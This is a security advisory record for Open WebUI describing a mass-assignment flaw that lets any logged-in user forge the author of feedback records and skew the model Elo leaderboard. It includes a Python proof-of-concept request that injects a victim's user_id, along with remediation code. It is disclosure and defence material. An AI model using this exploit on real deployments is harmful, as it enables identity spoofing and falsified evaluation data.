{"id":"PYSEC-2026-2756","summary":"Open WebUI: Mass Assignment via FeedbackForm extra=allow Allows Feedback User ID Spoofing and Evaluation Data Manipulation","details":"# Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation\n\n## Summary\n\nThe `POST /api/v1/evaluations/feedback` endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via `FeedbackForm`, which uses `model_config = ConfigDict(extra='allow')`. Due to an insecure dictionary merge order in `insert_new_feedback()`, an authenticated attacker can inject a `user_id` field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.\n\n## Details\n\nThe vulnerability exists in two layers:\n\n### 1. Model Layer — Insecure Dict Merge Order\n\n**File:** `backend/open_webui/models/feedbacks.py`, lines 148–160\n\n```python\nasync def insert_new_feedback(\n    self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None\n) -\u003e Optional[FeedbackModel]:\n    async with get_async_db_context(db) as db:\n        id = str(uuid.uuid4())\n        feedback = FeedbackModel(\n            **{\n                'id': id,\n                'user_id': user_id,       # ← Server-set from auth token\n                'version': 0,\n                **form_data.model_dump(),  # ← OVERWRITES 'id', 'user_id', 'version'\n                'created_at': int(time.time()),\n                'updated_at': int(time.time()),\n            }\n        )\n```\n\nIn Python, when a dictionary literal contains duplicate keys, the **last value wins**. Since `**form_data.model_dump()` appears after `'user_id': user_id`, any `user_id` field in the form data overwrites the authenticated user's ID.\n\n### 2. Schema Layer — `extra='allow'` on Request Form\n\n**File:** `backend/open_webui/models/feedbacks.py`, line 106\n\n```python\nclass FeedbackForm(BaseModel):\n    type: str\n    data: Optional[RatingData] = None\n    meta: Optional[dict] = None\n    snapshot: Optional[SnapshotData] = None\n    model_config = ConfigDict(extra='allow')  # ← Accepts arbitrary extra fields\n```\n\nThe `extra='allow'` config means Pydantic will accept and preserve any extra fields in the request body, including `user_id`, `id`, and `version`. These are then spread into the `FeedbackModel` constructor, overwriting server-set values.\n\n### Contrast with Secure Pattern\n\nOther models in the same codebase use the correct ordering. For example, `backend/open_webui/models/functions.py`, line 120:\n\n```python\nfunction = FunctionModel(**{\n    **form_data.model_dump(),   # ← Spread FIRST\n    'user_id': user_id,         # ← Server value AFTER → always wins\n})\n```\n\nAnd `ModelForm` at `backend/open_webui/models/models.py` uses `extra='ignore'`, which is the strictest approach.\n\n## Impact\n\n### 1. User Identity Spoofing\nAn attacker can create feedback records attributed to any user by specifying their `user_id`. The admin export endpoint (`GET /api/v1/evaluations/feedbacks/export`) and admin list (`GET /api/v1/evaluations/feedbacks/all`) will show the spoofed `user_id` as the feedback author.\n\n### 2. Model Evaluation Leaderboard Manipulation\nThe Elo rating system at `backend/open_webui/routers/evaluations.py` computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:\n- Artificially inflate ratings for a specific model\n- Deflate ratings for competitor models\n- Make organizational model evaluation decisions unreliable\n\n### 3. Record ID Control\nBy injecting a custom `id`, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.\n\n## PoC\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:8080\"\n\n# 1. Login as attacker\nsession = requests.Session()\nlogin_resp = session.post(f\"{BASE_URL}/api/v1/auths/signin\", json={\n    \"email\": \"attacker@example.com\",\n    \"password\": \"attackerpass\"\n})\ntoken = login_resp.json()[\"token\"]\nheaders = {\"Authorization\": f\"Bearer {token}\"}\n\n# 2. Create feedback attributed to a different user (victim)\nVICTIM_USER_ID = \"12345678-aaaa-bbbb-cccc-000000000000\"\n\nresp = session.post(\n    f\"{BASE_URL}/api/v1/evaluations/feedback\",\n    headers=headers,\n    json={\n        \"type\": \"rating\",\n        \"data\": {\n            \"model_id\": \"gpt-4o\",\n            \"rating\": 1,\n            \"sibling_model_ids\": [\"claude-3-opus\"],\n        },\n        # Mass assignment: these extra fields are accepted due to extra='allow'\n        # and overwrite server-set values due to dict merge order\n        \"user_id\": VICTIM_USER_ID,  # Overwrites authenticated user ID\n        \"version\": 999,             # Overwrites default version\n    }\n)\n\nfeedback = resp.json()\nprint(f\"Feedback created with user_id: {feedback['user_id']}\")\n# Expected: attacker's own user_id\n# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)\nassert feedback[\"user_id\"] == VICTIM_USER_ID, \"Mass assignment successful!\"\n```\n\n## Severity\n\n**CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L`\n\n- **Attack Vector:** Network\n- **Attack Complexity:** Low\n- **Privileges Required:** Low (any authenticated user)\n- **User Interaction:** None\n- **Impact:** Integrity (feedback data falsification) + limited Availability (leaderboard reliability)\n\n## Suggested Remediation\n\n### Option 1: Fix dict merge order (minimal fix)\n```python\nfeedback = FeedbackModel(\n    **{\n        **form_data.model_dump(),   # Spread FIRST\n        'id': id,                    # Server values AFTER (always win)\n        'user_id': user_id,\n        'version': 0,\n        'created_at': int(time.time()),\n        'updated_at': int(time.time()),\n    }\n)\n```\n\n### Option 2: Remove `extra='allow'` from FeedbackForm (recommended)\n```python\nclass FeedbackForm(BaseModel):\n    type: str\n    data: Optional[RatingData] = None\n    meta: Optional[dict] = None\n    snapshot: Optional[SnapshotData] = None\n    model_config = ConfigDict(extra='ignore')  # Reject unexpected fields\n```\n\n### Option 3: Explicit field assignment (most secure)\n```python\nfeedback = FeedbackModel(\n    id=str(uuid.uuid4()),\n    user_id=user_id,\n    version=0,\n    type=form_data.type,\n    data=form_data.data.model_dump() if form_data.data else {},\n    meta=form_data.meta or {},\n    snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},\n    created_at=int(time.time()),\n    updated_at=int(time.time()),\n)\n```\n\n## Affected Versions\n\n- v0.9.2 (current latest, confirmed vulnerable)\n- Likely all versions since feedback/evaluation feature was introduced\n\n## References\n\n- Prior advisory: \"Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts\" (patched in v0.9.0) — same root cause class, different endpoint","aliases":["CVE-2026-45396","GHSA-rjmp-vjf2-qf4g"],"modified":"2026-07-13T16:32:23.997554108Z","published":"2026-07-13T15:19:07.378383Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-rjmp-vjf2-qf4g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45396"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.5"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rjmp-vjf2-qf4g"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.5"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2756.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"}]}